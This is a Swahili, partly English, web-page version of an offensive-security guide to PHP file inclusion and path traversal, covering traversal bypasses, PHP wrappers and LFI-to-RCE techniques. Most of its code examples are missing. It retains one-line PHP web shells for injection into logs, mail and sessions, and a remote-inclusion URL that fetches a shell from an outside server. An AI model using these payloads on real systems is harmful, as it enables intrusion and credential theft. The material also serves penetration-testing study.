File Inclusion/Path traversal
Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
Machapisho ya Kudukua Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua
Taarifa za Kudukua Halisi Kaa up-to-date na ulimwengu wa kudukua unaobadilika haraka kupitia habari za wakati halisi na ufahamu
Matangazo ya Karibuni Baki mwelewa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
Kuingiza Faili
Kuingiza Faili ya Mbali (RFI): Faili inapakiwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii imelemazwa kwa chaguo-msingi (allow_url_include). Kuingiza Faili ya Kienyeji (LFI): Seva inapakia faili ya ndani.
Udhaifu unatokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili itakayopakiwa na seva.
PHP functions zenye udhaifu: require, require_once, include, include_once
Zana ya kuvutia kutumia udhaifu huu: https://github.com/kurobeats/fimap
Kipofu - Kuvutia - Faili za LFI2RCE
Linux
Kwa kuchanganya orodha kadhaa za LFI za *nix na kuongeza njia zaidi, nimeunda hii:
Jaribu pia kubadilisha /
kwa \
Jaribu pia kuongeza ../../../../../
Orodha inayotumia njia kadhaa za kupata faili /etc/password (kutathmini ikiwa upungufu upo) inaweza kupatikana hapa
Windows
Unganisha wa orodha tofauti:
Jaribu pia kubadilisha /
kwa \
Jaribu pia kuondoa C:/
na kuongeza ../../../../../
Orodha inayotumia njia kadhaa za kupata faili /boot.ini (kutathmini ikiwa upungufu upo) inaweza kupatikana hapa
OS X
Angalia orodha ya LFI ya linux.
LFI ya Msingi na njia za kuepuka
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=http://myserver.com/phpshellcode.txt\.
mfuatano wa upitishaji uliondolewa bila kutumia mzunguko wa kurudia
Null byte (%00)
Pita sehemu ya kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita ya: $_GET['param']."php")
Hii ni imesuluhishwa tangu PHP 5.4
Ufichamishi
Unaweza kutumia ufichamishi usio wa kawaida kama vile kucode mara mbili ya URL (na mingine):
Kutoka kwenye folda iliyopo
Labda seva ya nyuma inachunguza njia ya folda:
Kuchunguza Miongozo ya Mfumo wa Faili kwenye Seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyodhibitishwa ya kufanikisha hili:
Kutambua Kina cha Miongozo: Hakikisha kina cha miongozo ya saraka yako ya sasa kwa kupata faili ya
/etc/passwd
kwa mafanikio (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa kama ifuatavyo, ikionyesha kina cha tatu:
Chunguza Folda: Ongeza jina la folda inayoshukiwa (k.m.,
private
) kwenye URL, kisha endelea kurudi kwa/etc/passwd
. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
Tafsiri Matokeo: Majibu ya seva yanabainisha ikiwa kabrasha ipo:
Kosa / Hakuna Matokeo: Kabrasha ya
private
huenda haipo katika eneo lililotajwa.Yaliyomo ya
/etc/passwd
: Uwepo wa kabrasha yaprivate
umethibitishwa.
Uchunguzi wa Kina: Kabrasha zilizogunduliwa zinaweza kuchunguzwa zaidi kwa mipangilio ya vichupo au faili kutumia mbinu ileile au mbinu za Kuingiza Faili za Kienyeji (LFI) za kawaida.
Kwa kuchunguza kabrasha katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hali. Kwa mfano, kuchunguza ikiwa /var/www/
ina kabrasha ya private
(ukidhani kabrasha ya sasa iko kwenye kina cha 3), tumia:
Mbinu ya Kukata Njia
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi ziada mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, na/etc/passwd/
zote hutendewa kama njia ile ile.Wakati herufi 6 za mwisho ni
passwd
, kuongeza/
(kufanya iwepasswd/
) haitabadilishi faili inayolengwa.Vivyo hivyo, ikiwa
.php
inaongezwa kwenye njia ya faili (kamashellcode.php
), kuongeza/.
mwishoni haitabadilisha faili inayopatikana.
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata /etc/passwd
, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):
Katika mazingira haya, idadi ya ufuatiliaji inayohitajika inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.
Kutumia Vipande vya Dot na Wahusika Wengine: Mfululizo wa ufuatiliaji (
../
) uliochanganywa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufanya vipande vilivyowekwa na seva visiathiriwe.Kutambua Idadi Inayohitajika ya Ufuatiliaji: Kupitia majaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa
../
unahitajika kusafiri hadi saraka kuu na kisha kufikia/etc/passwd
, kuhakikisha kuwa vipande vilivyowekwa (kama vile.php
) vinatupiliwa mbali lakini njia inayotakiwa (/etc/passwd
) inabaki bila kubadilika.Kuanza na Saraka Bandia: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile
a/
). Mbinu hii hutumiwa kama tahadhari au kutekeleza mahitaji ya mantiki ya uchambuzi wa njia wa seva.
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na majaribio mara nyingi ni muhimu kupata njia yenye ufanisi zaidi.
Udhaifu huu ulisahihishwa katika PHP 5.3.
Mbinu za Kupita Kichujio
Kuingiza Faili Kijijini
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu allow_url_include
ni Off. Lazima iwe On ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
Ikiwa kwa sababu fulani allow_url_include
iko On, lakini PHP inazuia upatikanaji wa kurasa za wavuti za nje, kulingana na chapisho hili, unaweza kutumia mfano wa itifaki ya data na base64 kudecode nambari ya PHP ya b64 na kupata RCE:
Katika msimbo uliopita, +.txt
ya mwisho ilitolewa kwa sababu muhusika alihitaji string ambayo inamalizika kwa .txt
, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
Mfano mwingine usiotumia itifaki ya php://
ungekuwa:
Kipengele cha Mzizi cha Python
Katika python katika namna ya kificho kama hii:
Ikiwa mtumiaji anapitisha njia kamili kwa jina_la_faili
, njia iliyopita inaondolewa tu:
Hii ni tabia iliyokusudiwa kulingana na [nyaraka] (https://docs.python.org/3.10/library/os.path.html#os.path.join):
Ikiwa sehemu ni njia kamili, sehemu zote za awali hutupwa na kuunganisha inaendelea kutoka kwa sehemu ya njia kamili.
Orodha ya Vichwa vya Java
Inaonekana kama una Uvamizi wa Njia katika Java na unauliza kwa saraka badala ya faili, orodha ya saraka inarudi. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
Vichwa 25 Bora
Hapa kuna orodha ya vichwa 25 bora ambavyo vinaweza kuwa hatarini kwa uwezekano wa kuingiza faili za ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):
LFI / RFI kutumia PHP wrappers & itifaki
php://filter
Filters za PHP huruhusu kufanya operesheni za marekebisho kwenye data kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )Tafadhali kumbuka kuwa filter hii imeondolewa kwenye toleo za kisasa za PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Inabadilisha kwenye encoding tofauti (convert.iconv.<input_enc>.<output_enc>
). Ili kupata orodha ya encodings zote zinazoungwa mkono endesha kwenye konsoli:iconv -l
Kwa kutumia filter ya uongofu convert.iconv.*
unaweza kuzalisha maandishi ya kupindukia, ambayo yanaweza kuwa na manufaa kuandika maandishi ya kupindukia au kufanya kazi kama mchakato wa kujumuisha maandishi ya kupindukia. Kwa maelezo zaidi angalia LFI2RCE kupitia php filters.
zlib.deflate
: Pakaza maudhui (yanayoweza kutumika kwa kutoa habari nyingi)zlib.inflate
: Punguza datamcrypt.*
: Imepitwa na wakatimdecrypt.*
: Imepitwa na wakatiFilters Nyingine
Ukiendesha
var_dump(stream_get_filters());
kwenye php unaweza kupata filters chache zisizotarajiwa:consumed
dechunk
: inabadilisha encoding ya HTTP chunkedconvert.*
Sehemu ya "php://filter" ni isiyo na kesi
Kutumia vichujio vya php kama oracle kusoma faili za kupenda
Katika chapisho hili inapendekezwa mbinu ya kusoma faili za ndani bila kupata pato kutoka kwa seva. Mbinu hii inategemea kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kufanya php itupe kosa.
Katika chapisho halisi unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari wa haraka:
Tumia codec
UCS-4LE
kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.Hii itatumika kuzalisha maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi ambayo php itasababisha kosa
Kichujio cha dechunk kitafuta kila kitu ikiwa herufi ya kwanza sio hexadecimal, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
Hii, ikichanganywa na ile iliyotangulia (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
Codec convert.iconv.UNICODE.CP930 hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni
a
kwa mfano kwa sababu ikiwa tunatumia codec 6 za hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidiana na bomu la awali.Kwa kutumia mabadiliko mengine kama rot13 mwanzoni ni rahisi kufichua herufi zingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi zingine kwenye safu ya hex).
Ikiwa herufi ya kwanza ni nambari ni lazima iwekwe kwenye base64 na kufichua herufi 2 za kwanza kufichua nambari.
Tatizo la mwisho ni kuona jinsi ya kufichua zaidi ya herufi ya kwanza. Kwa kutumia vichujio vya kumbukumbu kama convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE inawezekana kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
Na ili kuweza kupata data zaidi wazo ni kuzalisha data za taka za byte 2 mwanzoni na convert.iconv.UTF16.UTF16, tumia UCS-4LE kuifanya ipige na byte 2 inayofuata, na futa data hadi data ya taka (hii itaondoa byte 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti unayotaka kufichua.
Katika chapisho zana ya kufanya hivi kiotomatiki pia ilifichuliwa: php_filters_chain_oracle_exploit.
php://fd
Kifuniko hiki kuruhusu kupata descripta ya faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kufichua maudhui ya faili zilizofunguliwa:
Unaweza pia kutumia php://stdin, php://stdout na php://stderr kufikia descriptors ya faili 0, 1 na 2 mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulizi)
zip:// na rar://
Pakia faili ya Zip au Rar yenye PHPShell ndani yake na ufikie. Ili uweze kutumia vibaya itifaki ya rar inahitaji kuwezeshwa kwa kusudi maalum.
data://
data://
Tafadhali elewa kuwa itifaki hii imezuiliwa na mipangilio ya php allow_url_open
na allow_url_include
expect://
Matarajio lazima iwe imewezeshwa. Unaweza kutekeleza nambari ukitumia hii:
maelezo://
Taja mzigo wako kwenye vigezo vya POST:
phar://
Faili ya .phar
inaweza kutumika kutekeleza nambari ya PHP wakati programu ya wavuti inatumia kazi kama vile include
kwa kupakia faili. Nambari ya PHP iliyoonyeshwa hapa chini inaonyesha uumbaji wa faili ya .phar
:
Ili kutekeleza faili ya .phar
, amri ifuatayo inapaswa kutekelezwa:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
pagephar:// deserializationMore protocols
Check more possible protocols to include here:
php://memory and php://temp — Andika kumbukumbu kwa kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
file:// — Kufikia mfumo wa faili wa ndani
http:// — Kufikia URL za HTTP(s)
ftp:// — Kufikia URL za FTP(s)
zlib:// — Mtiririko wa Ufupishaji
glob:// — Pata majina ya njia yanayolingana na muundo (Hairejeshi kitu kinachoweza kuchapishwa, hivyo sio kweli inayoweza kutumika hapa)
ssh2:// — Shell Salama 2
ogg:// — Mtiririko wa Sauti (Haitumiki kusoma faili za aina yoyote)
LFI kupitia 'assert' ya PHP
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa sana hasa unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni tatizo hasa ikiwa data inayoingia ina herufi za upelelezi wa saraka kama vile ".." inachunguzwa lakini haijasafishwa ipasavyo.
Kwa mfano, nambari ya PHP inaweza kuwa imeundwa kuzuia upelelezi wa saraka kama ifuatavyo:
Huku lengo likiwa kuzuia upenyaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kuitumia kwa kusoma yaliyomo ya faili, mshambuliaji anaweza kutumia:
Vivyo hivyo, kwa kutekeleza amri za mfumo za kupita kiasi, mtu anaweza kutumia:
Ni muhimu kufanya URL-encode hizi payloads.
Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
Machapisho ya Udukuzi Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
Taarifa za Udukuzi za Muda Halisi Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za muda halisi na ufahamu
Matangazo Mapya Baki mwelewa na tuzo mpya za makosa za programu zinazoanzishwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
PHP Blind Path Traversal
Mbinu hii ni muhimu katika hali ambapo unadhibiti njia ya faili ya kazi ya PHP ambayo ita fikia faili lakini hautaona maudhui ya faili (kama wito wa file()
wa kawaida) lakini maudhui hayo hayataonyeshwa.
Katika chapisho hili la kushangaza imeelezwa jinsi upitishaji wa njia wa kipofu unaweza kutumiwa kupitia kichujio cha PHP kwa kuchota maudhui ya faili kupitia orakuli la kosa.
Kwa muhtasari, mbinu hii inatumia "UCS-4LE" encoding kufanya maudhui ya faili kuwa kubwa sana hivi kwamba kazi ya PHP ya kufungua faili itasababisha kosa.
Kisha, ili kuvuja herufi ya kwanza, kichujio cha dechunk
hutumiwa pamoja na vingine kama vile base64 au rot13 na hatimaye vichujio convert.iconv.UCS-4.UCS-4LE na convert.iconv.UTF16.UTF-16BE hutumiwa kwa kuweka herufi nyingine mwanzoni na kuzivuja.
Kazi ambazo zinaweza kuwa hatarini: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (lengo la kusoma tu na hili)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
LFI2RCE
Uingizaji wa Faili Kijijini
Imeelezwa hapo awali, fuata kiungo hiki.
Kupitia faili ya kumbukumbu ya Apache/Nginx
Ikiwa seva ya Apache au Nginx ina udhaifu wa LFI ndani ya kazi ya kuingiza unaweza jaribu kufikia /var/log/apache2/access.log
au /var/log/nginx/access.log
, weka ndani ya mpelelezi wa mtumiaji au ndani ya parameta ya GET kabati ya php kama <?php system($_GET['c']); ?>
na ingiza faili hiyo
Tafadhali kumbuka kwamba ikiwa utatumia alama za nukuu mbili kwa kabati badala ya nukuu moja, alama za nukuu mbili zitabadilishwa kuwa mstari "nukuu;", PHP itatoa kosa hapo na kitu kingine hakitafanyika.
Pia, hakikisha unandika kwa usahihi payload au PHP itatoa kosa kila wakati inapojaribu kupakia faili ya kumbukumbu na hautapata fursa ya pili.
Hii pia inaweza kufanywa kwenye kumbukumbu nyingine lakini weka tahadhari, nambari ndani ya kumbukumbu inaweza kuwa URL encoded na hii inaweza kuharibu Kabati. Kichwa cha uthibitisho "msingi" kina "mtumiaji:nywila" katika Base64 na inakiliwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki. Njia zingine za kumbukumbu zinazowezekana:
Kupitia Barua pepe
Tuma barua kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama <?php echo system($_REQUEST["cmd"]); ?>
na jaribu kuinclude kwenye barua pepe ya mtumiaji kwa njia kama /var/mail/<USERNAME>
au /var/spool/mail/<USERNAME>
Kupitia /proc/*/fd/*
Pakia mabano mengi (kwa mfano: 100)
Jumuisha http://example.com/index.php?page=/proc/$PID/fd/$FD, na $PID = PID ya mchakato (inaweza kufanyiwa nguvu) na $FD kielelezo cha faili (inaweza kufanyiwa nguvu pia)
Kupitia /proc/self/environ
Kama faili ya kuingiza, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ
Kupitia kupakia
Ikiwa unaweza kupakia faili, tuambie payload ya shell ndani yake (k.m: <?php system($_GET['c']); ?>
).
Kupitia Upakiaji wa Faili ya Zip
Pakia faili ya ZIP inayohifadhi PHP shell iliyosongeshwa na ufikie:
Kupitia vikao vya PHP
Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)
Katika PHP vikao hivi hufungwa katika faili za /var/lib/php5/sess\[PHPSESSID]_
Wekeza kidakuzi kuwa <?php system('cat /etc/passwd');?>
Tumia LFI kuweka faili ya kikao ya PHP
Kupitia ssh
Ikiwa ssh iko active, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikiaji wa <HOME>/.ssh/id_rsa
Kupitia vsftpd logs
Majedwali ya mwenyeji wa FTP vsftpd yapo kwenye /var/log/vsftpd.log. Katika hali ambapo kuna udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI), na ufikiaji wa seva iliyofichuliwa ya vsftpd unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
Ingiza mzigo wa PHP kwenye uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
Baada ya kuingiza, tumia LFI kuchukua majedwali ya seva kutoka /var/log/vsftpd.log.
Kupitia kichujio cha php base64 (kutumia base64)
Kama ilivyoonyeshwa katika hii makala, kichujio cha PHP base64 hupuuza tu Isiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza tu "." na kuongeza "php" kwenye base64. Hapa kuna mzigo wa mfano:
Kupitia vichujio vya php (hakuna faili inayohitajika)
Hii maelezo inaeleza kwamba unaweza kutumia vichujio vya php kuzalisha maudhui ya kupindukia kama matokeo. Hii kimsingi inamaanisha kwamba unaweza kuzalisha msimbo wa php wa kupindukia kwa kuingiza bila kuandika kwenye faili.
pageLFI2RCE via PHP FiltersKupitia kosa la segmantesheni
Pakia faili itakayohifadhiwa kama ya muda kwenye /tmp
, kisha katika ombi moja, chokoza kosa la segmantesheni, na kisha faili ya muda haitafutwa na unaweza kuitafuta.
Kupitia uhifadhi wa faili za muda za Nginx
Ikiwa umepata Uingizaji wa Faili wa Kienyeji na Nginx inaendeshwa mbele ya PHP unaweza kupata RCE kwa kutumia mbinu ifuatayo:
pageLFI2RCE via Nginx temp filesKupitia PHP_SESSION_UPLOAD_PROGRESS
Ikiwa umepata Uingizaji wa Faili wa Kienyeji hata kama huna kikao na session.auto_start
ni Off
. Ikiwa unatoa PHP_SESSION_UPLOAD_PROGRESS
katika data ya POST ya sehemu nyingi, PHP ita wezesha kikao kwako. Unaweza kutumia hii kupata RCE:
Kupitia pakiaji wa faili za muda kwenye Windows
Ikiwa umepata Uingizaji wa Faili wa Kienyeji na seva inaendeshwa kwenye Windows unaweza kupata RCE:
pageLFI2RCE Via temp file uploadsKupitia phpinfo() (file_uploads = on)
Ikiwa umepata Uingizaji wa Faili wa Kienyeji na faili inaonyesha phpinfo() na file_uploads = on unaweza kupata RCE:
pageLFI2RCE via phpinfo()Kupitia compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Kufichua Njia
PHP_STREAM_PREFER_STUDIO
+ Kufichua NjiaIkiwa umepata Uingizaji wa Faili wa Kienyeji na unaweza kufichua njia ya faili ya muda LAKINI seva inaangalia ikiwa faili itakayojumuishwa ina alama za PHP, unaweza kujaribu kupita kwenye ukaguzi huo na hii Hali ya Mashindano:
pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureKupitia kungojea milele + kuvunja nguvu
Ikiwa unaweza kutumia LFI kwa kupakia faili za muda na kufanya seva kukwama kwenye utekelezaji wa PHP, basi unaweza kuvunja nguvu majina ya faili kwa masaa ili kupata faili ya muda:
pageLFI2RCE via Eternal waitingKwa Kosa Kubwa
Ikiwa unajumuisha faili yoyote kati ya /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Unahitaji kujumuisha ile ile mara 2 ili kutoa kosa hilo).
Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa. Hata kama unasababisha Kosa Kubwa la PHP, faili za muda za PHP zilizopakiwa zinafutwa.
Marejeo
Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
Machapisho ya Kudukua Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
Habari za Kudukua za Wakati Halisi Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu
Matangazo ya Hivi Karibuni Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
Last updated